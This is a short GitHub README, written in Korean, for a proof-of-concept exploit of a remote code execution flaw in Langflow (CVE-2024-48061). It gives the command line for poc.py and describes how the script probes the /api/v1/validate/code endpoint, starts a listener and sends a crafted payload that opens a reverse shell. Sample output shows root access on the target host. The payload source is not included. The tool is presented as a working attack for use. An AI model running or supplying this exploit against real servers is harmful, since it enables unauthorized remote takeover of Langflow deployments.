bwithe/cve-2024-48061CVE-2024-48061 Langflow 원격 코드 실행 취약점. Poc
python3 poc.py -i <web_ip> -p <web_port> -l <listener_ip> -lp <listener_port>
이 스크립트는 대상 웹 서버의 취약한 API 엔드포인트 /api/v1/validate/code를 악용합니다. 먼저 취약한 경로가 존재하는지 확인한 후, 지정된 리스너 IP와 포트에서 TCP 리스너를 시작합니다. 리스너가 준비되면 특수하게 조작된 페이로드를 대상에 전송하여 리스너로 연결되는 리버스 셸을 생성합니다.
python3 poc3.py -i 192.168.0.2 -p 7860 -l 192.168.0.3 -lp 4444
[+] Vulnerability detected at http://192.168.0.2:7860/api/v1/validate/code
[+] Listening on 192.168.0.3:4444 ...
[+] Sending payload to http://192.168.0.2:7860/api/v1/validate/code
[+] Connection from 192.168.0.2:60440
# whoami
whoami
root
# exit
[*] Exiting shell.
python3 poc3.py -i 192.168.0.2 -p 7860 -l 192.168.0.3 -lp 4444
[-] Doesn't look vulnerable